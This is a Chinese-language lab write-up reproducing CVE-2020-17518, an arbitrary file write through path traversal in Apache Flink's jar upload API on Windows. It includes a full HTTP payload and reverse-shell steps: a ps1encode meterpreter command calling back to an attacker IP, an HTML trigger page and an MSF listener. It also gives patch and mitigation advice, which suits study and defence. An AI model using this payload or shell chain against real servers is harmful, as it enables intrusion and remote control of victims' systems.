Apache Flink 目录遍历漏洞(CVE-2020-17518)WINDOWS 环境复现
字数 1548 2025-08-15 21:33:16

Apache Flink 目录遍历漏洞(CVE-2020-17518)复现与分析

漏洞概述

漏洞背景

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,可以执行批处理和流处理程序。

漏洞描述

CVE-2020-17518是一个文件写入漏洞,影响Apache Flink 1.5.1至1.11.2版本。该漏洞通过REST API允许攻击者通过恶意修改的HTTP头部将文件写入本地文件系统上的任意位置。

影响范围

  • Apache Flink 1.5.1 - 1.11.2

严重等级

  • 高危

环境搭建

系统要求

  • 操作系统:Windows(也可运行在Linux和Mac OS X上)
  • 必须安装JDK 8.X

安装步骤

  1. 下载Apache Flink:

    • 官网下载地址:https://flink.apache.org/zh/downloads.html
    • 百度网盘(备用):https://pan.baidu.com/s/1kmnXBD_5685cvgmsQ7xEbg 提取码:n9bs
  2. 安装JDK 8.X(参考:http://www.itclj.com/blog/5920236681c06e672f942ad4)

  3. 启动Flink:

    • 解压下载的Flink包
    • 进入bin目录
    • 双击运行start-cluster.bat
    • 默认开启8081端口,访问http://your-ip:8081

漏洞复现

基本文件写入测试

  1. 攻击机:Kali Linux (IP: 192.168.0.105)
  2. 靶机:Windows 10 x64 (IP: 192.168.0.102)

使用Burp Suite发送以下Payload:

POST /jars/upload HTTP/1.1
Host: your-ip:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=7953587633284837342617937085
Content-Length: 7302
Origin: http://your-ip:8081
Connection: close
Referer: http://your-ip:8081/
Content-Disposition: form-data; name="jarfile"; filename="/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/success.txt"
Content-Type: application/octet-stream

Success

此Payload将在Windows主机的C:/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/目录下创建success.txt文件,内容为"Success"。

反弹Shell利用

  1. 生成JS反弹Shell脚本:

    • 使用ps1encode工具:git clone https://github.com/CroweCybersecurity/ps1encode.git
    • 生成Payload:
      ./ps1encode.rb --LHOST 192.168.0.105 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js
      
  2. 修改之前的Payload,将文件名改为success.js,内容替换为生成的JS反弹Shell代码

  3. 创建HTML文件触发JS执行:

    <html>
    <title>这是一个惊喜</title>
    <body>
    
    <script type="text/javascript" src="success.js"></script>
    </body>
    </html>
    
  4. 执行success.html文件:

    • 打开文件
    • 选择"运行"->"允许阻止内容"->"是"
  5. 使用MSF监听:

    • 设置监听器接收反弹Shell

注意:实际测试中可能会遇到连接建立但无法执行命令的情况,这可能是由于权限或安全策略限制。

修复建议

官方补丁

Apache Flink官方已在新版本中修复此漏洞,建议升级至:

  • Flink 1.11.3
  • 或1.12.0

下载链接:https://flink.apache.org/downloads.html

临时缓解措施

如果无法立即升级,建议:

  1. 限制对Flink REST API的访问
  2. 使用网络防火墙规则限制访问源
  3. 监控可疑的文件创建活动

技术分析

该漏洞源于Flink REST API对文件上传功能的不当处理,攻击者可以通过构造恶意的Content-Disposition头部实现目录遍历攻击。关键点在于:

  1. 攻击者可以控制上传文件的路径
  2. 系统未对文件路径进行充分验证
  3. 可以上传任意类型文件,包括可执行脚本

这种漏洞可能导致:

  • 敏感信息泄露
  • 系统被完全控制
  • 内网横向移动
Apache Flink 目录遍历漏洞(CVE-2020-17518)复现与分析 漏洞概述 漏洞背景 Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,可以执行批处理和流处理程序。 漏洞描述 CVE-2020-17518是一个文件写入漏洞,影响Apache Flink 1.5.1至1.11.2版本。该漏洞通过REST API允许攻击者通过恶意修改的HTTP头部将文件写入本地文件系统上的任意位置。 影响范围 Apache Flink 1.5.1 - 1.11.2 严重等级 高危 环境搭建 系统要求 操作系统:Windows(也可运行在Linux和Mac OS X上) 必须安装JDK 8.X 安装步骤 下载Apache Flink: 官网下载地址:https://flink.apache.org/zh/downloads.html 百度网盘(备用):https://pan.baidu.com/s/1kmnXBD_ 5685cvgmsQ7xEbg 提取码:n9bs 安装JDK 8.X(参考:http://www.itclj.com/blog/5920236681c06e672f942ad4) 启动Flink: 解压下载的Flink包 进入bin目录 双击运行start-cluster.bat 默认开启8081端口,访问http://your-ip:8081 漏洞复现 基本文件写入测试 攻击机:Kali Linux (IP: 192.168.0.105) 靶机:Windows 10 x64 (IP: 192.168.0.102) 使用Burp Suite发送以下Payload: 此Payload将在Windows主机的 C:/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/ 目录下创建success.txt文件,内容为"Success"。 反弹Shell利用 生成JS反弹Shell脚本: 使用ps1encode工具: git clone https://github.com/CroweCybersecurity/ps1encode.git 生成Payload: 修改之前的Payload,将文件名改为success.js,内容替换为生成的JS反弹Shell代码 创建HTML文件触发JS执行: 执行success.html文件: 打开文件 选择"运行"->"允许阻止内容"->"是" 使用MSF监听: 设置监听器接收反弹Shell 注意:实际测试中可能会遇到连接建立但无法执行命令的情况,这可能是由于权限或安全策略限制。 修复建议 官方补丁 Apache Flink官方已在新版本中修复此漏洞,建议升级至: Flink 1.11.3 或1.12.0 下载链接:https://flink.apache.org/downloads.html 临时缓解措施 如果无法立即升级,建议: 限制对Flink REST API的访问 使用网络防火墙规则限制访问源 监控可疑的文件创建活动 技术分析 该漏洞源于Flink REST API对文件上传功能的不当处理,攻击者可以通过构造恶意的Content-Disposition头部实现目录遍历攻击。关键点在于: 攻击者可以控制上传文件的路径 系统未对文件路径进行充分验证 可以上传任意类型文件,包括可执行脚本 这种漏洞可能导致: 敏感信息泄露 系统被完全控制 内网横向移动